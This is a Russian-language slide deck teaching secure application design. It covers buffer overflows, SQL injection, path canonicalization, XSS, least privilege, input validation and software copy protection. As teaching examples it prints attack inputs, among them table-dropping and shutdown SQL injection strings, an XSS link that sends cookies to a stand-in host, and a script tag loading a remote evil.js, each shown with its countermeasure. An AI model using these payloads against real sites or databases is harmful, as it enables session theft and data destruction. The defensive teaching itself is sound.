Проектирование защищённых приложений (тема 6)

1.

1
Тема 6:
Проектирование
защищённых
приложений

2.

6. Проектирование защищённых приложений : : 6.1.
От чего защищают программы
• От несанкционированного тиражирования (коммерческие
программы).
• От нарушения ограничения на число пользователей,
одновременно работающих с программой.
• От доступа к функциям, присущим только полной версии, до
тех пор, пока не будет введён правильный регистрационный
код.
• От внесения изменений в исполняемые файлы.
• От дизассемблирования.
• От исследования под отладчиком.
2

3.

6. Проектирование защищённых приложений : : 6.2.
Обзор моделей распространения ПО
• Бесплатные программы (Freeware).
• Почти бесплатные программы:
• Cardware;
• Mailware;
• Donationware.
• Программы, показывающие рекламу (Adware).
• Коммерческие программы.
• Условно бесплатные программы (Shareware):
• Demoware;
• Trialware;
• Nagware.
3

4.

6. Проектирование защищённых приложений : : 6.3.
Методы противодействия атакам на
приложения
Основные причины, по которым создаются уязвимые
приложения:
• при проектировании приложений не учитывается, что они
могут подвергнуться атакам;
• большинство разработчиков не обучено написанию
защищённого кода;
• разработчики приложений – люди, а людям свойственно
ошибаться.
4

5.

6. Проектирование защищённых приложений : : 6.3. Методы противодействия атакам на приложения : : 6.3.1.
Переполнение буфера
Переполнение буфера происходит, когда
приложение пытается сохранить в буфере
слишком много данных, и память за пределами
буфера переписывается.
5

6.

6. Проектирование защищённых приложений : : 6.3. Методы противодействия атакам на приложения
: : 6.3.1. Переполнение буфера
6
Пример переполнения стека - нормальное функционирование:
Текст программы:
Командная строка:
main (int argc, char* argv[])
{
sub (argv[1]);
}
C:\>test Hello
1. Сохраняется адрес возврата
2. Сохраняется адрес передаваемой
в функцию строки input
void sub (const char* input)
{
char buf[10];
3. Заполняется
strcpy (buf, input);
переменная buf
}
Стек:
H

e
l
l
o

ї
<

#


ѓ
Ћ

B

1
48 65 6C 6C 6F 00 BF 3C 99 23 08 04 83 8e 00 42 03 31
Память переменной buf
Адрес переменной input
Адрес возврата

7.

6. Проектирование защищённых приложений : : 6.3. Методы противодействия атакам на приложения
: : 6.3.1. Переполнение буфера
7
Пример переполнения стека - при осуществлении атаки :
Текст программы:
Командная строка:
main (int argc, char* argv[])
{
sub (argv[1]);
}
C:\>test Hello-aaaabbbb±|Q€
void sub (const char* input)
{
char buf[10];
strcpy (buf, input);
}
1. Сохраняется адрес возврата
2. Сохраняется адрес передаваемой
в функцию строки input
Стек:



ѓ
Ћ

B

1
08 04 83 8e 00 42 03 31
Адрес переменной input
Адрес возврата

8.

6. Проектирование защищённых приложений : : 6.3. Методы противодействия атакам на приложения
: : 6.3.1. Переполнение буфера
8
Пример переполнения стека - при осуществлении атаки :
Текст программы:
Командная строка:
main (int argc, char* argv[])
{
sub (argv[1]);
}
C:\>test Hello-aaaabbbb±|Q€
1. Сохраняется адрес возврата
2. Сохраняется адрес передаваемой
в функцию строки input
void sub (const char* input)
{
char buf[10];
3. Заполняется
strcpy (buf, input);
переменная buf
}
Переполнение памяти, выделенной для переменной buf
Стек:
H

e
l
l
o
-
a
a
a
a

b

b
ѓ
b
Ћ
b
□±
B
|

Q
1

48 65 6C 6C 6F 2D 61 61 61 61 08
8e 00
42 03
62 04
62 83
62 62
B1 7C
51 31
88
Память переменной buf
Адрес переменной input
Адрес возврата

9.

6. Проектирование защищённых приложений : : 6.3. Методы противодействия атакам на приложения
: : 6.3.1. Переполнение буфера
Типы переполнения буфера:
• переполнение стека;
• переполнение кучи;
• ошибки индексации массива;
• ошибки в строках форматирования;
• несовпадение размеров буфера при использовании Unicode и
ANSI.
9

10.

6. Проектирование защищённых приложений : : 6.3. Методы противодействия атакам на приложения
: : 6.3.1. Переполнение буфера
Способы борьбы с переполнением буфера:
• всегда проверять все входящие данные – всё, что вне
функции, следует рассматривать как небезопасное и
враждебное;
• функция всегда должна завершаться корректно, даже если
она получит данные, которые никак не ожидала получить;
• строки должны обрабатываться безопасно:
• нужно проверять на NULL строку-источник и строкуприёмник;
• строка-источник должна заканчиваться символом NULL;
• длина строки-источника не должна превышать длину
буфера, выделенного для строки-приёмника.
10

11.

6. Проектирование защищённых приложений : : 6.3. Методы противодействия атакам на приложения : : 6.3.2.
SQL-инъекции
SQL-инъекция – атака, подразумевающая вставку SQLкоманды в качестве значения параметра запроса к базе
данных, в результате чего изменяется логика корректного
SQL-выражения.
Пример:
string sql = "select * from client where name = '" + name + "'";
name == "Blake":
select * from client where name = 'Blake'
name == "Blake' or 1=1 --":
select * from client where name = 'Blake' or 1=1 --'
name == "Blake'; drop table client; --":
select * from client where name = 'Blake'; drop table client; --'
11

12.

6. Проектирование защищённых приложений : : 6.3. Методы противодействия атакам на приложения
: : 6.3.2. SQL-инъекции
12
Меры противодействия SQL-инъекциям
Псевдосредство №1: экранирование кавычек в вводимых
данных
Пример:
string sql =
"select * from client where name = '" + name + "' and age = " + age;
name == "Michael' or 1=1 --"
"Michael'' or 1=1 --":
select * from client where name = 'Michael'' or 1=1 --' and age = 35
name == "Michael", age == "35 or 1=1 --":
select * from client where name = 'Michael' and age = 35 or 1=1 -name == "Michael“, age == "35; shutdown; --":
select * from client where name = 'Michael' and age = 35; shutdown; --

13.

6. Проектирование защищённых приложений : : 6.3. Методы противодействия атакам на приложения
: : 6.3.2. SQL-инъекции
Меры противодействия SQL-инъекциям
Псевдосредство №2: хранимые процедуры
Пример:
string sql = "exec spGetName '" + name + ...;
name == "Blake' or 1=1 --":
exec spGetName 'Blake' or 1=1 --' ...
name == "Blake'; drop table client; --":
exec spGetName 'Blake'; drop table client; --' ...
Крайне опасный пример хранимой процедуры:
create procedure spMyProc @input varchar(128)
as exec(@input)
13

14.

6. Проектирование защищённых приложений : : 6.3. Методы противодействия атакам на приложения
: : 6.3.2. SQL-инъекции
Меры противодействия SQL-инъекциям:
Средства, обеспечивающие гарантированную защиту
Средство №1: построение параметризованных SQL-выражений
Пример:
select count (*) from client where name = ? and password = ?
Преимущества использования параметризованных запросов:
• параметризованные запросы выполняются быстрее, чем запросы,
созданные в коде приложения динамически;
• возможность указать для параметров тип данных.
14

15.

6. Проектирование защищённых приложений : : 6.3. Методы противодействия атакам на приложения
: : 6.3.2. SQL-инъекции
Меры противодействия SQL-инъекциям:
Средства, обеспечивающие гарантированную защиту
Средство №2: создание безопасных хранимых процедур
Преимущества использования безопасных хранимых процедур:
• возможность ограничения пользовательских привилегий так, чтобы
пользователи могли запускать только хранимые процедуры;
• возможность дополнительной проверки данных в самой хранимой
процедуре;
• использование параметров при вызове хранимой процедуры
снижает риск успешного проведения атаки со вставкой SQL-кода;
• в случае компрометации кода приложения с помощью хранимых
процедур можно скрыть от хакера часть логики приложения и
структуру базы данных.
15

16.

6. Проектирование защищённых приложений : : 6.3. Методы противодействия атакам на приложения : : 6.3.3.
Ошибки канонизации
Канонизация – процесс упрощения пути к файлу
до наиболее простой, абсолютной формы.
Ошибка канонизации – уязвимость, возникающая,
когда приложение анализирует имя файла
прежде, чем операционная система канонизирует
его.
16

17.

6. Проектирование защищённых приложений : : 6.3. Методы противодействия атакам на приложения
: : 6.3.3. Ошибки канонизации
17
Пример: некоторая программа должна не позволять пользователю
выбирать файл "c:\boot.ini", но позволять выбирать любой другой
файл.
Такую проверку можно было бы реализовать, например, так:
if (filename == @"c:\boot.ini")
throw new Exception ("No. This is system file.");
Но пользователь может задать путь к файлу по-разному:
c:\boot.ini
C:\boot.ini
c:\windows\..\boot.ini
c:/boot%2eini
задают
файл
c:\boot.ini
Псевдорешение: используя регулярные выражения, искать текст
"boot.ini" в переданном пути к файлу.
Это ненадёжно, т.к.:
• можно найти другой способ указать файл (например, в Webприложении - c:/boot%2eini);
• возможен побочный эффект, когда программа запретит
просматривать другой файл с именем boot.ini, расположенный в
другом месте файловой системы.

18.

6. Проектирование защищённых приложений : : 6.3. Методы противодействия атакам на приложения
: : 6.3.3. Ошибки канонизации
18
Рекомендации для решения проблем, возникающих при
приведении к каноническому виду:
• не принимать решения, касающиеся безопасности, на основании
полученных имён файлов или ресурсов;
• сначала канонизировать имя файла, и только после этого выполнять
проверку:
В .NET для этого существует метод: System.IO.Path.GetFullPath ()
• использовать регулярные выражения как дополнительный метод
контроля имени файла;
• отключить использование в системе имён файлов в формате «8.3»:
Это не позволит обратиться к файлу
по имени
MySecretFile.doc
MYSECR~1.DOC
• не полагаться на переменную окружения PATH, а указывать полное
имя файла.

19.

6. Проектирование защищённых приложений : : 6.3. Методы противодействия атакам на приложения : : 6.3.4.
Межсайтовое кодирование
Другие названия: • Межсайтовый скриптинг;
• CSS (cross site scripting);
• XSS.
XSS возникает тогда, когда в генерируемые
сервером страницы по какой-то причине попадают
пользовательские скрипты.
19

20.

6. Проектирование защищённых приложений : : 6.3. Методы противодействия атакам на приложения
: : 6.3.4. Межсайтовое кодирование
Пример серверной программы:
Hello, &nbsp; <% Response.Write (Request.querystring ("name")); %>
http: www.goodsite.com/req.asp?name=Blake
Hello, Blake
http: www.goodsite.com/req.asp?name=<a%20href="javascript:
x=document.cookie;alert(x);">Выиграй%201000%20руб.</a>
Hello, Выиграй 1000 руб.
http: www.goodsite.com/req.asp?name=<a%20href="javascript:location=
'http://www.badsite.ru/name='+document.cookie;">Выиграй!</a>
Таким образом, для проведения успешной XSS-атаки:
• необязательно использовать тэг <script>;
• необязательно нажатие пользователем на ссылку, т.к. в
динамическом HTML существуют такие события, как onload и
onactivate.
20

21.

6. Проектирование защищённых приложений : : 6.3. Методы противодействия атакам на приложения
: : 6.3.4. Межсайтовое кодирование
21
Рекомендации по предотвращению XSS:
• кодирование выходных данных превращает потенциально
опасные символы во внутреннее безопасное представление;
...<div>Текст</div>...
...&lt;div&gt;Текст&lt;/div&gt;...
• обрамление всех свойств тэга двойными кавычками позволяет
не допустить вставки такого значения в качестве параметра тэга,
которое завершит данный тэг и начнёт последовательность
вредоносных тэгов;
Пример части серверной программы:
<% Response.Write ("<option value=" + userValue + ">" + userText
+ "</option>"); %>
userValue == "1><script src="badsite.com/evil.js"></script",
userText == "Some title":
<option value=1><script src="badsite.com/evil.js"></script>
Some title</option>
• вставка данных в свойство innerText обрабатывает любую
информацию как текст.

22.

6. Проектирование защищённых приложений : : 6.3. Методы противодействия атакам на приложения
: : 6.3.4. Межсайтовое кодирование
Рекомендации по выявлению XSS в Web-приложении:
1. Выписать все точки входа в Web-приложение:
• поля в формах;
• строки запроса страниц;
• HTTP-заголовки;
• cookie-файлы;
• информация из баз данных;
• и т.п.
2. Проследить путь каждой порции данных через приложение.
3. Выяснить, не попадают ли входные данные в неизменном виде на
вывод.
4. Если попадают, то осуществляется ли перед этим их проверка на
безопасность.
22

23.

6. Проектирование защищённых приложений : : 6.3. Методы противодействия атакам на приложения : : 6.3.5.
23
Минимизация привилегий
Принцип минимизации привилегий:
• задачи следует исполнять с минимально возможным набором
привилегий;
• время работы с повышенными полномочиями следует сокращать до
минимально возможного.
Угрозы безопасности, связанные с выполнением запросов к
базе данных:
1. Использование учётной записи администратора для подключения к
базе данных может позволить злоумышленнику:
• удалить любую базу данных или отдельную таблицу;
• модифицировать или удалить любые данные из любых таблиц;
• модифицировать любые хранимые процедуры, триггеры или правила;
• удалить журналы;
• добавить новых пользователей базы данных;
• вызвать любые административные или расширенные хранимые процедуры;
• выполнять команды операционной системы (например, в MS SQL Server
есть хранимая процедура xp_cmdshell()).
2. Слабый пароль у учётной записи администратора.

24.

6. Проектирование защищённых приложений : : 6.3. Методы противодействия атакам на приложения
: : 6.3.5. Минимизация привилегий
24
Решение проблемы:
Никаких подключений к СУБД под учётной записью администратора!
Для безопасного подключения к базе данных:
• создать специальную учётную запись в базе данных;
• выдать ей лишь те привилегии на чтение, запись и обновление
соответствующих данных, которые необходимы для работы
приложения.
Правила применения принципа наименьших привилегий:
1) не нужно запрашивать большего уровня доступа к ресурсам, чем
необходимо;
2) нужно создавать файлы и разделы реестра там, где стандартные
пользователи могут их изменять.
Файлы:
C:\Windows
Ключи реестра:
HKEY_LOCAL_MACHINE
C:\Documents and Settings\User
HKEY_CURRENT_USER

25.

6. Проектирование защищённых приложений : : 6.3. Методы противодействия атакам на приложения : : 6.3.6.
25
Осмысленные имена функций
Суть проблемы:
• обычно функциям дают легко запоминающиеся и
самоописывающие имена (например, createFile);
• компилятор сохраняет внутри создаваемых при компиляции
исполняемых файлов строки с именами функций;
• следовательно, злоумышленнику проще понять, с какого места
начать исследование взламываемой программы.
Что делать?
Стоит избегать попадания осмысленных имён функций, относящихся
к защитным механизмам, в исполняемые файлы и библиотеки.
Практический способ решения проблемы:
Скрыть истинные имена функций следующим образом:
#define CheckLicense fn23
void CheckLicense (char *Lic)
{
// Текст функции
}
При этом не нарушается
удобочитаемость исходного кода

26.

6. Проектирование защищённых приложений : : 6.3. Методы противодействия атакам на приложения : : 6.3.7.
26
Проверка входных данных
Правило №1:
Все входные данные зловредны, пока не доказано обратное.
Правило №2:
Проверку корректности данных следует выполнять при каждом
пересечении ими границы между ненадёжной и доверенной средами.
Переменные
окружения
Контрольнопропускной пункт
Контрольнопропускной
пункт
Граница доверенной зоны
Сервис
Выводимые
Выводимые
пользователю
пользователю
данные
данные
Взаимное доверие
субъектов, расположенных внутри
доверенной зоны
Контрольнопропускной пункт
Конфигурационные
данные
Данные
сервиса

27.

6. Проектирование защищённых приложений : : 6.3. Методы противодействия атакам на приложения
: : 6.3.7. Проверка входных данных
27
Вопросы, позволяющие найти уязвимые места в проекте:
1. Можно ли доверять данным в этой точке программы?
2. Что известно о корректности данных?
Правило №3:
При проверке входных данных следует пропускать только
корректные данные, а всё остальное – отбрасывать.
Вопрос: Как проверять входные данные на корректность?
if (str1 == str2)
...
Регулярное выражение – набор символов, который можно
сравнить со строкой, чтобы проверить, удовлетворяет ли
формат этой строки определённым требованиям.
if (Regex.IsMatch (str, @"^\d{5}$"))
// good
else
// bad
str == "12345"
OK
str == "1234"
FAIL

28.

6. Проектирование защищённых приложений : : 6.3. Методы противодействия атакам на приложения : : 6.3.8.
Сообщения об ошибках
Подробные сообщения об ошибках раскрывают внутреннюю структуру
приложения
могут использоваться для выявления уязвимостей.
Непонятные сообщения об ошибках
не помогут программисту выявить и устранить причину ошибок.
Одно из решений проблемы:
Сохранение подробных сообщений об ошибках в системном журнале
событий или другом аналогичном месте.
Раздел реестра:
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/services/eventlog/
Application/My Application
Помещение сообщения об ошибке в журнал событий (C#):
using namespace System.Diagnostics;
. . .
EventLogEntryType type = EventLogEntryType.Error;
EventLog myLog = new EventLog ("Application");
myLog.Source = "My Application";
myLog.WriteEntry ("Exception: " + Message, type, eventID, category);
28

29.

6. Проектирование защищённых приложений : : 6.3. Методы противодействия атакам на приложения : : 6.3.9.
Отказ в обслуживании
Другое название:
DoS-атака (Denial of Service).
Современный вариант:
DDoS-атака (Distributed Denial of Service) - распределённая
атака типа «отказ в обслуживании».
Часто встречающиеся виды DoS-атак:
• атаки, вызывающие крах приложения или операционной системы;
• атаки, вызывающие перегрузку процессора;
• атаки, вызывающие нехватку памяти;
• атаки, вызывающие нехватку ресурсов.
29

30.

6. Проектирование защищённых приложений : : 6.4. Способы защиты ПО от несанкционированного тиражирования : : 6.4.1. 30
Способы защиты ПО от
несанкционированного тиражирования
Регистрационные коды
Регистрационный код позволяет производителю:
• собирать статистические данные о своих клиентах;
• определить пользователя, незаконно распространившего
программного продукт.
Рекомендации по использованию регистрационного кода:
• шифровать фрагменты кода или данных, доступ к которым
разрешён только легальным пользователям, а ключ шифрования
получать из регистрационного кода;
• выполнять распределённые проверки правильности введённого
регистрационного кода.

31.

6. Проектирование защищённых приложений : : 6.4. Способы защиты ПО от несанкционированного тиражирования
: : 6.4.1. Регистрационные коды
Критерии сравнения свойств регистрационных кодов:
• возможность связать код с именем пользователя или
характеристиками компьютера;
• невозможность вычислить какой-нибудь правильный код, имея в
распоряжении только алгоритм проверки;
• невозможность вычислить код для определённого пользователя,
зная алгоритм проверки и правильный код другого пользователя;
• длина ключевой строки (удобство пользователя).
Методы проверки правильности регистрационных кодов:
• алгоритмические, основанные на принципе «чёрного ящика»;
• алгоритмические, основанные на математически сложной задаче;
• табличные.
Выбор метода проверки правильности регистрационных кодов
зависит от свойств продукта, характеристик потенциального
рынка и т.д.
31

32.

6. Проектирование защищённых приложений : : 6.4. Способы защиты ПО от несанкционированного тиражирования
: : 6.4.1. Регистрационные коды
Из кода демонстрационной версии ПО следует исключать те
функции, которые должны присутствовать только в полной
версии.
Пример использования препроцессорных директив условной
компиляции:
#define FULLVERSION
. . .
#ifdef FULLVERSION
/*
Код полной версии
*/
#else
/*
Код демо-версии
*/
#endif
32

33.

6. Проектирование защищённых приложений : : 6.4. Способы защиты ПО от несанкционированного тиражирования : : 6.4.2. 33
Привязка к носителям информации
Эпоха DOS:
дискеты.
Эпоха Windows: CD-диски, DVD-диски, …
Способы защиты от тиражирования при использовании дисков:
• защищаемая программа может проверять метку тома диска,
серийный номер и т.п.;
• незначительно изменив параметры диска, на него можно записать
больше данных, чем при обычной записи, при этом диск будет без
проблем читаться в большинстве приводов CD-ROM;
• при записи оригинального диска можно отклониться от стандарта
записи на диск;
• можно внести нарушения в область данных диска, которые
приведут к ошибкам при обычном чтении диска.

34.

6. Проектирование защищённых приложений : : 6.4. Способы защиты ПО от несанкционированного тиражирования : : 6.4.3. 34
Аппаратные ключи
Виды аппаратных ключей:
• в порт принтера (LPT);
• в последовательный порт (COM);
• в USB-порт;
• ключи, подключаемые к специальной плате, вставляемой внутрь
компьютера.
Чтобы взломать программу, защищённую аппаратным ключом,
нужно:
• либо внести исправления в программу;
• либо эмулировать наличие ключа.
Классификация аппаратных ключей:
1. Ключи с памятью.
2. Ключи с неизвестным алгоритмом.
3. Ключи с известным алгоритмом.
4. Ключи с программируемым алгоритмом.

35.

6. Проектирование защищённых приложений : : 6.4. Способы защиты ПО от несанкционированного тиражирования : : 6.4.4. 35
Протекторы
Протекторы – это программные инструменты, предназначенные для защиты других программ.
Особенности протекторов:
позволяют создавать версии программы с ограничениями;
могут иметь программный интерфейс, доступный из защищаемой
программы и позволяющий более чётко контролировать процесс её
выполнения;
для защиты кода, данных и ресурсов обычно используется
шифрование;
при запуске защищённой программы код протектора выполняет
необходимые действия, а затем запускается основная программа.
Недостатки использования протекторов:
• протекторы вызывают дополнительный расход памяти и замедляют
работу программы;
• защищаемая программа может работать нестабильно.

36.

6. Проектирование защищённых приложений : : 6.5.
Избыточная защита приложений
Категории продуктов, использующих средства защиты
информации:
1) продукты, для которых обеспечение информационной безопасности
– первоочередная задача;
2) прикладные продукты из любых предметных областей,
нуждающиеся в средствах защиты.
Последствия применения избыточной защиты:
• неудобства для пользователей;
• снижение производительности;
• сбои в системе защиты.
36

37.

6. Проектирование защищённых приложений : : 6.6.
Критерии сравнения средств защиты
приложений
1. Качество защиты.
2. Надёжность защиты.
Причины, по которым трудно гарантировать надёжность защиты:
1) стойкость многих элементов защиты можно оценить только
экспертными методами;
2) проверить безошибочное функционирование средств защиты во
всех возможных режимах работы защищаемой программы
невозможно;
3) использование методов защиты, основанных на принципе
«чёрного ящика».
3. Экономическая эффективность защиты.
37

38.

6. Проектирование защищённых приложений : : 6.7.
Причины ослабления защиты
1. Непрофессионализм:
• иллюзия простоты;
• излишнее усердие.
2. Влияние законодательства.
3. Погоня за прибылью.
4. Эффективность разработки.
5. Отсутствие ответственности.
6. Сложность контроля.
38
English     Русский Правила